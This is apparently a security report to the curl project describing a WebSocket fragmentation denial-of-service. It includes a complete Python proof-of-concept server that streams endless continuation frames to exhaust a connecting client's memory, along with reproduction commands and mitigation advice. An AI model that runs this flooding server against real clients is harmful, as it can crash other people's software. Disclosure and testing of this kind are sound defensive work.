curl · Report #3303765
WebSocket Fragmentation DoS on Curl Client
How it was found
Summary
A malicious WebSocket server can send a fragmented message (FIN=0) followed by a flood of continuation frames, causing the client (curl) to continuously allocate memory while waiting for message completion. This can result in high memory usage and potential crash (OOM), representing a Denial-of-Service vulnerability.
Description
The vulnerability occurs because curl does not limit the number of continuation frames for an unfinished WebSocket message. An attacker controlling a WebSocket server can send:
- Initial text frame with
FIN=0(indicating message continuation). - An unbounded number of continuation frames (
opcode=0,FIN=0).
This causes curl to continuously buffer incoming data until memory is exhausted. The script ws_frag_poc.py demonstrates the behavior.
Steps to Reproduce
- Save the following PoC script as
ws_frag_poc.py:
#!/usr/bin/env python3
# ws_frag_poc.py - DoS PoC for WebSocket fragmentation
import socket, base64, hashlib, threading
HOST, PORT = "0.0.0.0", 8765
def make_handshake_response(key):
GUID = b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
accept = base64.b64encode(hashlib.sha1(key + GUID).digest()).decode()
return (
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Accept: {accept}\r\n\r\n"
).encode()
def make_frame(fin, opcode, payload):
first = (0x80 if fin else 0x00) | (opcode & 0x0f)
plen = len(payload)
header = bytes([first])
if plen <= 125: header += bytes([plen])
elif plen < 65536: header += bytes([126]) + plen.to_bytes(2, 'big')
else: header += bytes([127]) + plen.to_bytes(8, 'big')
return header + payload
def handle_client(conn, addr):
data = conn.recv(4096)
key = next((l.split(b":",1)[1].strip() for l in data.split(b"\r\n") if l.lower().startswith(b"sec-websocket-key:")), None)
if not key: return conn.close()
conn.sendall(make_handshake_response(key))
conn.sendall(make_frame(fin=False, opcode=1, payload=b"X"*4))
frag_payload = b"A"*32
while True:
conn.sendall(make_frame(fin=False, opcode=0, payload=frag_payload))
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
while True:
conn, addr = s.accept()
threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()
if __name__ == "__main__":
main()
- Run the PoC:
python3 ws_frag_poc.py
- In another terminal, connect using curl:
curl --include --no-buffer --output /dev/null ws://127.0.0.1:8765
- Monitor memory usage:
ps -o pid,rss,cmd -p <curl_pid>
top -p <curl_pid>
ps aux | grep curl
Expected Result
Curl should handle fragmented messages without unbounded memory growth.
Actual Result
Memory usage grows continuously, CPU spikes, process may hang or crash (OOM).
Mitigation / Recommendation
- Implement limits on the number of continuation frames for unfinished WebSocket messages.
- Consider maximum message size or memory allocation threshold to prevent client-side DoS.
- Add proper validation of FIN/fragmented frames in the WebSocket implementation.
References
- RFC 6455 - The WebSocket Protocol
- CWE-400: Uncontrolled Resource Consumption
Impact
- High memory consumption on the client.
- Potential crash or process termination (OOM) in curl.
- Can be triggered remotely if the client connects to a malicious WebSocket server.